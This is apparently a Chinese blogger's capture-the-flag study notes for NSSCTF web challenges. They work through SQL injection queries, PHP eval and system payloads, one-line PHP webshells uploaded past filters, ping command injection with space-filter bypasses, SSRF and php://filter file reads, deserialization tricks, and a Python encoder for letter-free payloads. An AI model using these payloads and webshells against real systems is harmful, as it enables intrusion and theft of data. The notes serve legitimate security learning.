NSSCTF-Web做题笔记(1~50)

解题思路记录

  博主按NSSCTF-Web板块的顺序进行Web练习,并记录心得如下!

  注:由于题目数量较多,篇幅过长,使用时请找到指定题目,点击目录快速到达;返回时可点击左下角↑ xx%按钮即回到目录

382_[SWPUCTF 2021 新生赛]gift_F12

  进入环境,根据题目提示,F12检查,在文本中使用ctrl+F查找关键字flag即可

384_[SWPUCTF 2021 新生赛]jicao

  进入环境得到PHP代码,审查传入的两个参数“id”和“json”

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id']; // id需以POST方式传入
$json=json_decode($_GET['json'],true); // json需以GET方式传入,且其格式需要符合json字符串格式
if ($id=="wllmNB"&&$json['x']=="wllm") // id值为"wllmNB",json值为{"x":"wllm"}
{echo $flag;} // 均正确即输出flag
?>

  选择Firefox,使用HackBar,加载地址后选择“Post data”,在网址后写入GET参数,在下方框中写入POST参数,点击execute执行得到flag

386_[SWPUCTF 2021 新生赛]easy_md5 –弱比较 –数组绕过

  进入环境得到PHP代码,审计发现关键代码如下

1
2
3
4
5
$name = $_GET['name'];                    # 接受GET方式传入的name参数
$password = $_POST['password']; # 接受POST方式传入的password参数
if ($name != $password && md5($name) == md5($password)){
echo $flag; # 如果两参数不同而MD5码相同,=> flag
}

  法1:通用法,数组绕过,原理是利用md5()函数无法对数组加密,当参数为数组时,md5()会直接返回null,故等式两边均为null,=> True

  法2:适用于强比较“===”,构造两个MD5码相同的不同字符串,构造原理是MD5码碰撞

  法3:适用于弱比较“==”,构造两个不同字符串,其MD5码以“0e”开头且“0e”后无字母;此类字符串在被用于比较或算术运算时,PHP会尝试将它们转换为数字;因为”0e”在PHP中被解释为科学计数法,且0的任何正整数次方都为0,故当两个参数的MD5码均为“0e”开头时,等式两边均为0,=> True

  由代码易知本题为MD5码的弱比较,适用法1(name[]=123, password[]=1)、法3,以下给出符合法3要求的一些字符串,任意输入两个作为name和password即得到flag

字符串 MD5哈希值
MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570

427_[SWPUCTF 2021 新生赛]include –PHP伪协议 –文件包含漏洞

  根据提示传入file参数,得到PHP代码,得到flag位置:flag.php

  由题目提示,本题知识点为文件包含漏洞,需构造PHP伪协议来获取指定文件源码,其通式如下:

1
变量=php://filter/read=过滤器/resource=目标文件

  大多数情况下,过滤器使用convert.base64-encode,博主也遇到过在过滤器上做文章的题,不过本题不是

  于是根据通式构建本题题解“变量=php://filter/read=convert.base64-encode/resource=flag.php”,得到Base64字符串

  利用在线工具进行Base64解码,得到flag:NSSCTF{3beb5044-dd5e-4c2c-828c-52e2dad60765}

387_[SWPUCTF 2021 新生赛]easy_sql –字符型注入

  进入环境,根据标签页名提示,随机输入参数wllm=1,显示信息;据题目名字可知为SQL注入,先尝试传参判断注入类型

1
2
3
4
/?wllm=1                  # 出现提示
/?wllm=2 # 提示消失
/?wllm=1' and 1=1 # 报错
/?wllm=1' and '1'='1 # 显示同传入参数1一致,故为字符型注入

  利用“order by”语句获得当前表的字段数(列数)

  order by:根据表的第几列数据来进行表数据的排序;当然,如果列数不存在,肯定会报错

1
2
3
4
5
6
/?wllm=1' order by 1~10          # 信息未改变,推测这里存在对1的限制
/?wllm=2' order by 1 # 出现报错,使用--+注释后续语句
/?wllm=2' order by 1 --+ # 信息消失,继续测试
/?wllm=2' order by 2 --+
/?wllm=2' order by 3 --+
/?wllm=2' order by 4 --+ # 出现列数报错,说明表有3列

  由于“select”语句特性,即当SELECT语句中包含静态值时,数据库会将这些值作为查询结果的一部分返回;结合列数,利用“union”构造语句查找回显点,即找出程序会返回表的哪几列

1
/?wllm=2' union select 1,2,3 --+         # 得到回显点反馈如下

  由图知,程序返回第2/3列数据,据此探查数据库基本信息

1
2
# 返回当前数据库名
/?wllm=2' union select 1,2,database() --+

1
2
# 返回所有数据库名
/?wllm=2' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

1
2
# 测试test_db,返回库中所有表的表名
/?wllm=2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+

1
2
3
# 测试两个表的所有列(字段),找到flag位置
/?wllm=2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb' --+
/?wllm=2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users' --+

1
2
# 直接查询flag
/?wllm=2' union select 1,2,flag from test_tb --+

424_[SWPUCTF 2021 新生赛]easyrce –eval() –命令执行函数

  进入环境得到PHP代码,审计发现程序中使用eval()函数

  eval()函数允许将传入的字符串作为PHP代码执行,本题即利用此点,以下是博主编文至此使用过的的eval()中使用的命令执行函数

命令执行函数 参数说明 使用效果
system() 传入一个shell语句字符串 直接返回shell语句运行结果
$x = popen() 第一个参数为路径,第二个参数为模式(r、w) 以读写模式打开一个到外部命令的管道,并返回
exec() 传入一个shell语句字符串 执行语句但不返回结果

  先通过system()来尝试获取目录结构

1
/?url=system("ls /");

  直接读取flag所处文件,得到flag

1
/?url=system("cat /flllllaaaaaaggggggg");

383_[SWPUCTF 2021 新生赛]caidao –同424

  做法完全同424,只需要以POST方式传入参数wllm,省略

3861_[LitCTF 2023]我Flag呢?

  做法完全同382,按F12搜索flag关键字即可,省略

385_[SWPUCTF 2021 新生赛]Do_you_know_http –HTTP浏览器修改 –HTTP请求IP更改

  进入环境得到提示,结合题目,使用BurpSuite对HTTP数据包进行抓取并修改,以下为关键数据的按行解读

行号 请求信息 解读
1 GET /hello.php HTTP/1.1 这是一个GET请求,请求的资源是/hello.php,使用的HTTP版本是1.1
2 Host: 请求的目标主机和端口号
3 Accept-Language: 请求者希望服务器返回的语种
4 User-Agent: 请求者的用户代理信息,包括操作系统、浏览器类型和版本号等
5 Accept: 请求者可以接受的媒体类型
6 Accept-Encoding: 请求者可以接受的内容编码类型

  题目要求使用WLLM浏览器,故修改“User-Agent”信息头的信息为WLLM,得到Response信息如下

  观察到Location信息头返回了一个新的.php文件,访问

  根据提示,需要在“local”,也就是主机本地才能访问得到下一步提示,故需修改客户端IP为127.0.0.1

  网上查阅得知,指定请求方真实IP的方式:添加信息头X-Forwarded-For

  附:X-Forwarded-For: client1, proxy1, proxy2, …

参数名 含义
client 客户端的真实IP地址
proxy 经过的代理或负载均衡器的IP地址

  进入新给出的.php文件,得到flag

425_[SWPUCTF 2021 新生赛]babyrce –空格绕过 –/绕过 –命令执行函数

  进入环境得到PHP代码,审计发现要求修改cookie,输入admin=1,利用HackBar完成,execute执行后得到提示

  进入新的.php文件,审计代码发现命令执行函数shell_exec(),其将结果存于变量中,再输出该变量

  审计代码还能发现程序将空格与斜杠符”/“屏蔽,故需要绕过,这里学到的是通过url编码字符进行绕过,查阅知

字符 URL编码
空格 %09
/ %2f

  故构造shell语句传入参数url中,获取基础信息

1
2
# 获取目录结构
/rasalghul.php?url=ls%09%2f

  利用cat命令输出目标文件,得到flag

1
2
# 输出目标文件
/rasalghul.php?url=cat%09%2fflllllaaaaaaggggggg

344_[第五空间 2021]WebFTP –目录扫描 –phpinfo()

  进入环境,无明显提示,F12搜素关键字也无果,对两个输入框初步尝试仍然没有头绪,扫描目录(自己写了个,练练手ʕ ᵔᴥᵔ ʔ)发现线索

  结果显示有两个关键文件存在,先查看phpinfo.php,ctrl+F搜索flag关键字得到答案

426_[SWPUCTF 2021 新生赛]ez_unserialize –反序列化 –对象反序列化字串解读

  进入环境,欣赏半分钟胡桃摇,无果,开始扫描目录 => 嗯?这么快?

  对两个关键文件都进行搜索,flag.php为空,robots.txt给出了提示信息

1
2
User-agent: *
Disallow: /cl45s.php

  进入提示.php文件,得到PHP代码,行,没见过反序列化,开始学,以下是据本题所学到的对象序列化字串的格式及解读,日后的日后再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 示例
?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
# 结果
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
字符 解读
O: 表示序列化的元素是对象
4: 表示对象的类名为4个字符
“test”: 对象的类名
2: 表示对象有两个属性
s: 第一个属性名,肯定是字符型
4: 第一个属性名有4个字符
“ * a”; 第一个属性名(见注)
s: 第一个属性值的类型
9: 第一个属性值有9个字符
“xiaoshizi”; 第一个属性值
s: 第二个属性名类型
7: 第二个属性有7个字符
“ test b”; 第二个属性名(见注)
s: 第二个属性值为字符型
8: 有8个字符
“laoshizi”; 第二个属性值

  注:如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00

  学完了,再来看题,很明显,以GET方式传入一个序列化字串做参数p即可,手拿把掐

1
2
3
4
5
6
7
8
# 序列化元素为对象,类名为wllm,有两个属性
O:4:"wllm":2:{}
# 第一个属性值为admin才可通过
s:5:"admin";s:5:"admin";
# 第一个属性值为ctf才可通过
s:6:"passwd";s:3:"ctf";
# 连起来
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

  传入参数后得到flag

423_[SWPUCTF 2021 新生赛]easyupload2.0 –文件上传 –文件后缀绕过

  进入环境,拔剑四顾心茫然ヽ(゜Q。)ノ?,看题目名字,得,先学吧

1
2
3
# 原理:用户上传可执行脚本文件对整个网站甚至服务器进行控制,这个脚本又叫Webshell
# 一句话木马示例
<?php @eval(~);?> # @用于抑制eval函数的报错,~中填写PHP代码

  本地编个.php文件试试看:<?php @eval (system("ls /")); ?>,结果返还提示:php是不行滴,看来是被限制了

  查阅得知,.php文件还可以修改为.phtml(含PHP代码的.html文件)后缀且不影响功能,用BurpSuite抓包改一下,出现提示

  进入提示.phtml文件,得到命令执行函数的运行结果

  没有思路,决定先理清目录结构

1
2
3
4
# 执行命令:pwd
<?php @eval(system("pwd");?> # 返回:/app/upload
# 执行命令:ls /app
<?php @eval(system("ls /app");?> # 返回:flag.php index.php upload upload.php

  露出马脚,直接cat看一看,发现flag

1
2
# 执行命令:cat /app/flag.php
<?php @eval(system("cat /app/flag.php");?>

3865_[LitCTF 2023]PHP是世界上最好的语言!!

  进入环境,根据题目提示,先一句话试试水:<?php @eval(system("cat /flag");?>,直接给出结果

388_[SWPUCTF 2021 新生赛]easyupload1.0 –文件上传 –phpinfo()直出 –MIME绕过

  进入环境,根据题目判断为文件上传问题,先尝试构建一个一句话木马试试水

1
2
<?php @eval(system("pwd");?>             #返回:想啥呢
# 修改文件后缀为.phtml,无变化

  这里只能看出来是代码存在一定防护机制,但看不出来针对于哪个地方;没办法,上网搜一下一般监测点

监测点 绕过
Content-Type 文件类型绕过
filename 文件头、文件后缀名绕过
文件内容 指定字符、指定格式绕过

  一个个尝试下,首先是Content-Type,由于题中页面给出信息“upload1.jpg”,所以将Content-Type改为图片对应值,出现新的变动

  接下来老套路了,先理清目录结构 => 找到马脚 => 手拿把掐

1
2
3
4
5
6
7
8
9
10
# 运行:pwd
<?php @eval(system("pwd");?> # 返回:/app/upload
# 运行:ls /app
<?php @eval (system("ls /app"));?> # 返回:flag.php index.php upload upload.php
# 运行:cat ../flag.php
<?php @eval (system("cat ../flag.php"));?>
# 返回:
<?php
$flag = 'WLLMCTF{I_d0nt_w4nna_wak3up}';
?>

  惊吓吗,flag是错的,继续找吧;这里在找资料时发现一句新的代码:<?php phpinfo();?>,据说好用,走走看

  真好用> . <,下为结算画面

3863_[LitCTF 2023]导弹迷踪 –不知道怎么评价

  进入环境,好消息,有游戏玩;坏消息,在戏耍你

  我天生不爱游戏,选择一点点搜着看JS源代码,f、l、a、g都看了遍T _ TT _ T,没结果,还有几个.js文件,接着看

  在/src/game.js可以找到,给出如下

429_[SWPUCTF 2021 新生赛]no_wakeup –反序列化 –魔术方法绕过 –__wakeup()绕过

  进入环境,点击获得PHP代码,和426一模一样,只有类名和passwd更改了,直接套用:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},得到结果

  好吧其实不太一样,注意其中$this->passwd = sha1($this->passwd);,passwd经过了一次加密,这里先介绍反序列化的魔术方法

魔术方法 描述
serialize() 将对象转换成字符串
unserialize() 将字符串还原成一个对象,触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法
__toString() 在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__construct() 创建对象时触发
__destruct() 对象被销毁时触发
__wakeup() unserialize()时,会检查是否存在一个__wakeup()魔术方法。存在,则该方法会先被调用
__call() 在对象上下文中调用不可访问的方法时触发
__invoke() 在脚本尝试将对象调用为函数时触发
__callStatic 在静态上下文中调用不可访问的方法时触发
__get 用于从不可访问的属性读取数据
__set 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()时触发
__unset() 在不可访问的属性上使用unset()时触发

  此题学习其中第六个方法的绕过,网上查阅得知:针对__wakeup()方法有一个CVE漏洞,CVE-2016-7124

  CVE-2016-7124:当反序列化一个包含特定属性的对象时,如果对象的属性数量在序列化字符串中被错误地指定(即大于或小于对象实际具有的属性数量),那么PHP可能会跳过__wakeup()魔术方法的执行

  于是修改一下:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},出现flag

441_[SWPUCTF 2021 新生赛]PseudoProtocols –PHP伪协议 –file_get_contents() –文件包含漏洞 –data://text/plain伪协议

  进入环境,根据提示,有hint.php需要找到,但直接输入该文件却不显示

  注意到上方URL地址处自动带了一个变量=,联想到构造PHP伪协议读取文件,同427

  于是,构造wllm=php://filter/read=convert.base64-encode/resource=hint.php,得到Base64编码后的提示

  进入提示.php文件,得到PHP代码,审计发现函数file_get_contents()不认识,学吧

  string file_get_contents ( string filename [, bool use_include_path = false [, resource context = NULL [, int offset = 0 [, int $maxlen = NULL ]]]] )

参数名称 是否必需 描述 默认值
$filename 要读取的文件或 URL
$use_include_path 如为 true,则 PHP 会在 include_path 中查找文件。 false
$context 指定上下文资源,可以修改文件流的行为 NULL
$offset 从文件的哪个位置开始读取。 0(即从文件开头开始)
$maxlen 最多读取多少字节。 NULL(即读取整个文件)

  奇怪的是,我并没有找到这里关于参数’r’的定义;不过这不影响做题,我们只需要让变量$a是一个文件,且文件内容为”I want flag”即可,于是构造PHP伪协议,不过我不会,又学

  查阅得知,适用该魔术方法的伪协议为data://text/plain,学一下

  data://text/plain:允许内联数据作为文件资源来使用,text/plain为资源类型,后跟“,资源”

  尝试构建PHP伪协议:?a=data://text/plain,I want flag,成功得到flag

958_[NCTF 2018]签到题

  进入环境,发现是百度的界面,也不是给的贴图,是真的百度界面

  分析JS源码,找flag关键字,没找到;curl抓包,被调戏;利用自己写的脚本遍历一下目录,露出马脚

  接着用curl抓包/index.php,发现flag

2011_[NISACTF 2022]easyssrf –PHP伪协议 –SSRF漏洞 –stristr()

  进入环境,被搞的一脸懵,回头看题名,选择先学SSRF是个啥,以下是询问文心一言的结果

类别 内容
定义与原理 SSRF(Server-Side Request Forgery)允许攻击者构造请求,并由服务端发起请求,以访问或攻击内网无法从外网直接访问的系统或服务。其原理在于服务端提供了从其他服务器应用获取数据的功能,但并未对目标地址进行充分的过滤和限制。
漏洞成因 1. 服务端提供了从其他服务器应用获取数据的功能。
2. 服务端没有对目标地址进行过滤与限制。
漏洞利用方式 1. 端口扫描
2. 攻击内网应用
3. 指纹识别
4. 读取本地文件
5. DoS攻击
常用URL伪协议 1. file://
2. dict://
3. sftp://
4. ldap://
5. tftp://
6. gopher://
防御措施 1. 禁用不需要的协议,如file://, gopher://, ftp://等。
2. 设置URL白名单或限制内网IP访问。
3. 限制请求的端口为HTTP常用端口,如80、443等。
4. 过滤返回信息,避免泄露敏感信息。
5. 统一错误信息,防止攻击者根据错误信息判断远端服务器的端口状态。

  好,很符合我现在的困境,一个个试试看,首先是file://,随便给个试试

1
2
3
4
5
file:///bin                 # 返回:害羞羞,试试其他路径?
file:///secret # 同上
file:///flag # 返回:都说了这里看不了flag。。但是可以看看提示文件:/fl4g
file:///fl4g # 返回:你应该看看除了index.php,是不是还有个ha1x1ux1u.php
file:///fl4g/ha1x1ux1u.php # 返回:害羞羞,试试其他路径?

  到这里,出现线索没有用上的地方,直接在URL上访问这个文件

  行,这个函数又不认识,学

  **string stristr ( string haystack , mixed needle [, bool $before_needle = FALSE ] )**,用于在字符串中查找子字符串的首次出现,如果找到子字符串,则返回从该位置到字符串末尾的所有字符;如果没有找到,则返回 FALSE

参数 描述 类型 默认值
haystack 要搜索的字符串 string 必填
needle 要查找的子字符串,如果不是字符串则会被转换为整型并应用为字符的顺序码 mixed 必填
before_needle 如果设置为TRUE,则返回needlehaystack中出现之前的部分 bool FALSE

  也就是说我的参数file中不能出现字串“file”,再加上结尾的file_get_contents()函数,直接让file参数找flag文件位置即可,找到即得到flag

1
2
3
4
5
?file=flag                                # 无结果
?file=../flag # 无结果
?file=../../flag # 无结果
?file=../../../flag # 无结果
?file=../../../../flag # 来了

  回头看了看佬们的WriteUp,发现了一种新的办法:?file=php://filter/read=convert.base64-encode/resource=/flag

  将Base64编码解码后,同样能得到flag

3864_[LitCTF 2023]Follow me and hack me

  进入环境,根据提示,用HackBar分别传入指定参数,得到flag

3873_[LitCTF 2023]Ping –ping命令注入

  进入环境,随便输入一个域名www.baidu.com,得到警告要求只能输入ip,查看网页源代码得到JS函数

1
2
3
4
5
6
7
8
9
10
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;

if(re.test(ip.trim())){ // ip.trim()将ip两端的空白符消除,re.test()测试ip是否满足a.b.c.d,0~255
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}

  没有思路就去看博客,发现ping指令存在命令注入漏洞:在无waf的情况下,可以直接在ping的ip后面利用;添加shell命令,试试看

  接下来就好办了

1
2
127.0.0.1;ls /                      # 返回:bin dev etc flag home lib ……
127.0.0.1;cat /flag # 返回flag

  结算画面

713_[BJDCTF 2020]easy_md5 –弱比较 –数组绕过 –md5() –MySQL特性

  进入环境,先输俩数进去,没反应,curl抓包试一试,出现提示

  根据hint提示,猜想是SQL注入,后面的md5()函数带了个参数true,分析其意思

  string md5 ( string str [, bool $raw_output = FALSE ] )

参数 含义
$str 需要计算哈希值的字符串
$raw_output 如果为true,则输出原始的二进制数据;如果为false,则输出十六进制数

  即需使password=md5($pass, true)为真,查阅得知MySQL有以下特性

  在MySQL里,用作布尔型判断时,以数字开头的字符串会被当做整型数

  故只需要构造password=''or'1xxxxxxx'型字符即可,网上搜了一个:ffifdyop,输入,查看网页源代码,得到下一步提示

  这就好办了,直接数组绕过传参,具体原理见386,得到下一步PHP代码

  一样的操作,得到flag

2074_[NSSCTF 2022 Spring Recruit]ezgame

  进入环境,直接找源码,不想被折磨,一共两个.js文件

  还是玩了把,结束字段有“Your”,于是ctrl+F查找flag、Your,找到flag

19_[suctf 2019]EasySQL –SQL注入 –SQL注入类型 –堆叠注入

  进入环境,根据题目,显然是SQL注入知识点,可以先来系统性学一下SQL注入的类型

类型 解释
联合注入 即使用”union select”语句,又分字符型与数字型注入
布尔盲注 Web的页面的仅仅会返回True和False,布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息
时间盲注 利用sleep()或benchmark()等函数使程序睡眠,通过页面的响应时间长短来判断返回值是true还是false,从而猜解字段
宽字注入 \
报错注入 通过特殊函数错误使用并使其输出错误结果来获取信息
堆叠注入 MySQL的多语句查询格式,语句间使用分号隔开
二次注入 攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入

  根据解释,一一尝试,由于URL上并未显示参数,初步判定参数以POST方式上传

1
2
3
4
5
6
7
8
1                                      # Array ( [0] => 1 )
2-1 # Array ( [0] => 1 )
1-1 # Array ( [0] => 0 )
1' and 1=1 # Nonono.
1' and '1=1' # Nonono.
1' union select 1 --+ # Nonono.
1' order by 1 --+ # Nonono.
admin # 空

  显然,由于没有给出报错、True、False等信息,且程序似乎将' ~~~ '格式的字串识别为注入字串;在不考虑存在黑名单字符检测的情况下,剩下堆叠注入和二次注入;根据刚学的堆叠注入,尝试query=1; select 1,2,3,得到反馈

  也即该题为堆叠注入类型,可执行多条MySQL查询语句,反复尝试

1
2
3
4
5
6
7
8
9
10
11
query=1; select 1,2,group_concat(schema_name) from information_schema.schemata --+     # Nonono.
query=1; select 1,2,3,4,5 # 1,2,3,4,1
query=1; show databases # ctf, ctftraining information_schema mysql performance_schema test
query=1; select schema_name from from information_schema.schemata # Nonono.
query=1; select 1,2,3 from from information_schema.schemata # Nonono.
# 还是要从1,2,3,4,1的回复来突破
query=1; select 2,3,4,5,6 # 2,3,4,5,1
query=1; select 2,3,4,5,6543 # 2,3,4,5,1
query=1; select 2,3,4,5,0 # 2,3,4,5,0
query=1; select 2,3,4,5,* # 空
# 也就是说,程序中必定存在一个判断机制,若最后一个数为false,返回0

  根据所测试的样例及返回的结果,程序应当是对select的参数进行检测:对k个参数检测,如果非合法输入,则不返回或No;对最后一个参数进行更严格的检测,只要非数字,即不返回或No,对数字进行true和false的判断,故可以尝试将通配符*置于前k-1个参数位

1
2
3
4
5
query=1; select 2,3,4,5,*           # 空
query=1; select 2,3,4,*,6 # 空
query=1; select 2,3,*,5,6 # 空
query=1; select 2,*,4,5,6 # 空
query=1; select *,3,4,5,6 # 出现flag

  看来前面的猜测还有点错,不过不影响我们解出答案╮( ˘ 、 ˘ )╭

22_[ZJCTF 2019]NiZhuanSiWei –PHP伪协议 –file_get_contents() –反序列化 –preg_match() –有问题尚未解决

  进入环境得到PHP代码(好久没遇到这么单纯的题了),审计代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$text = $_GET["text"];                # GET方式传参
$file = $_GET["file"]; # GET方式传参
$password = $_GET["password"]; # GET方式传参
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
# 如果text存在,且对file_get_contents进行了绕过(方法见441)
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
# 输出
if(preg_match("/flag/",$file)){
# ???这函数啥
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
# password为经过序列化之后的字串
echo $password;
}
}

  来吧,学习一下preg_match(),以下是结合文心一言的信息

  **int preg_match ( string pattern , string subject [, array &matches [, int flags = 0 [, int $offset = 0 ]]] )**,用于字符串的匹配,匹配成功返回1,失败返回0,错误返回false

参数 类型 说明
pattern string 要搜索的模式,即正则表达式。这个字符串必须是一个有效的正则表达式,否则 preg_match() 会返回 FALSE 并可能产生一个警告(取决于错误处理设置)
subject string 要进行搜索的字符串
matches array 如果提供了这个参数,并且匹配成功,它将被填充为包含结果的数组。第一个元素(matches[0])将包含整个匹配到的字符串,随后的元素是捕获的子模式匹配结果
flags int 这个参数可以设置为 PREG_OFFSET_CAPTURE,这样 matches 数组中返回的每个匹配结果都会附加一个额外的元素,表示该匹配在 subject 字符串中的偏移量
offset int 从 subject 字符串的哪个位置开始进行搜索。默认为 0,即从字符串的开头开始。如果 offset 大于字符串的长度,preg_match() 将返回 FALSE

  这下子明确了,开始对三个参数进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
text=data://tetx/plain,welcome to the zjctf
file=php://filter/read=convert.base64-encode/resource=useless.php
=> 以下为Base64解码后的useless.php代码
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
=> password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
整合为:
/?text=data://tetx/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  枯了,死活出不来,只好去看大佬的WriteUp;诶,也没啥不一样啊,步骤都对啊?哦,file=useless.php才行啊?

  这下才出来flag了,不过我还是不理解这是为什么,留待日后解决;不过也要打个醒,不是啥参数都是PHP伪协议

1096_[GXYCTF 2019]Ping Ping Ping –ping命令注入 –空格绕过 –flag字串绕过

 进入环境,霍,刚学,见3873,直接127.0.0.1;后跟shell语句

1
2
3
;pwd                        # /var/www/html
;ls / # 1fxck your symbol!
;ls # flag.php index.php

  到这里就很刻意了,代码将空格放入了黑名单,而flag.php也在当前目录中,于是想办法绕过空格符即可,直接cat<flag.php

  好吧不止有空格在黑名单中,cat、<、或者flag也在,试试

1
2
;ls</                       # 空
;flag # fxck your flag!

  根据上述尝试,应该是flag被监测了,查找在shell语句中空格的绕过方法

$IFS$ $IFS$6(其他数字亦可) ${IFS} < <> %20(space) %09(Tab)

  对上述一一尝试

1
2
3
4
;echo<hello
:echo<>hello
;echo$IFS$hello # OK
;echo$IFS$6hello # OK

  行,就用$IFS,接下来是flag,不过注意到除了flag还有一个index.php,cat$IFS$index.php康康它,得到黑名单

  问题还是回归到如何绕过flag字串,这里学习到了两种好用的方法

代码 原理
;cat$IFS$1`ls` Linux会先执行反引号下面的语句,并将执行结果返回原式继续运行
;a=f;cat$IFS$$alag.php 字符拼接,先定义字符变量a,再在命令中使用$a代替f

  这里取第一种(注意,这里必须使用带数字的空格替换方式,否则不会出现flag)作为演示,flag如下

439_[SWPUCTF 2021 新生赛]hardrce –命令执行函数 –preg_match()绕过 –URL取反绕过

  进入环境得到PHP代码,审计得到flag’的要求如下

1
2
3
4
5
6
7
8
# GET方式传入参数wllm
isset($_GET['wllm'];
# 字符绕过
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
# 不能用字母
preg_match('/[a-zA-Z]/is',$wllm);
# 命令执行函数
eval($wllm);

  这个不能用字母太伤了点,第一时间想到的不应该是满足要求,而是如何绕过,以下为搜索到的preg_match()的常用绕过方法

方式 做法
数组绕过 即令传入的参数为数组:wllm[]=~~
利用PCRE回溯次数限制绕过 preg_match()的回溯次数默认为1000000次,采用函数str_repeat()强行输入同一字串多次
换行符绕过 在参数前面添加换行符%0a:wllm=%0a~~

  由于blacklist中将换行符\n包含,故尝试前两种方法

1
2
/?wllm[]=123                               # NoVic4说:不错哦小伙子,可你能拿到flag吗?
/?wllm=str_repeat(%27a%27,10000000) # Ra's Al Ghul说不能用字母哦!

  测试出实际可行的方法为数组绕过,但是eval()函数只接受字符串做参数,故还是需要想办法满足其全部要求

  经查询,对“无数字、字母”要求的参数输入,有以下几种:取反、异或、自增,有些操作其实PHP代码会跟简单,但谁叫我喜欢Python呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 取反
import urllib.parse
def return_backcode(s):
# 将字符串转换为字节
bytes_s = s.encode('utf-8')
# 创建一个新的bytes对象来存储按位取反后的结果
bytes = bytearray()
# 对每个字节进行按位取反,并添加到bytes中
for byte in bytes_s:
byte = ~byte & 0xFF # 按位取反并转换为无符号8位整数
bytes.append(byte)
# 将按位取反后的字节的十六进制表示编码为URL格式
urlencoded_hex = urllib.parse.quote_plus(bytes.hex())
urlencoded_hex =urlencoded_hex.upper()
# 转化为最终格式
result = []
for i, char in enumerate(urlencoded_hex):
if i % 2 == 0:
result.append('%')
result.append(char)
return ''.join(result)
# 这里对格式进行了硬编码,必须满足~1("~2")的格式,比如system("pwd")
sample = input("请输入参数:").strip()
deals = sample.split('("')
deals[1] = deals[1][0:len(deals[1])-2]
print(deals)
end = "(~"+return_backcode(deals[0])+")(~"+return_backcode(deals[1])+');'
print(end)

  这个一写完就已经不想动了,直接拿system("pwd")试了试,成功!其他的两个就容我下次再学吧(‘-‘*ゞ

1
2
system("ls /")
# 返回:bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

  一如既往的单纯呐,直接system("cat /flllllaaaaaaggggggg")就出来了

436_[SWPUCTF 2021 新生赛]easyupload3.0 –文件上传 –.htaccess –有问题尚未解决

  进入环境,发现标签页的提示让我看不懂了,再去查一下文件上传漏洞,发现能够契合提示的上传方式

  .htaccess:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置;通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能;启动.htaccess,需要在服务器的主配置文件中将AllowOverride设置为All;以下为搜索到的.htaccess文件常见的使用方法

功能描述 .htaccess配置示例
重定向URL Redirect 301 /old-page.html /new-page.html
URL重写 RewriteEngine On<br>RewriteRule ^products/([0-9]+)$ product.php?id=$1
禁止访问文件或目录 Deny from all
自定义错误页面 ErrorDocument 404 /error404.html
访问权限控制 Order deny,allow<br>Deny from all<br>Allow from 192.168.0.1
设置默认文档 DirectoryIndex index.php index.html
压缩文件 <IfModule mod_deflate.c><br>AddOutputFilterByType DEFLATE text/html text/plain text/xml<br></IfModule>
防止目录列表 Options -Indexes
设置缓存 <IfModule mod_expires.c><br>ExpiresActive On<br>ExpiresDefault "access plus 1 week"<br></IfModule>
强制使用HTTPS RewriteEngine On<br>RewriteCond %{HTTPS} off<br>RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
配置HTTP身份验证 AuthType Basic<br>AuthName "Restricted Area"<br>AuthUserFile /path/to/.htpasswd<br>Require valid-user
设置PHP配置 php_value upload_max_filesize 10M<br>php_value memory_limit 256M
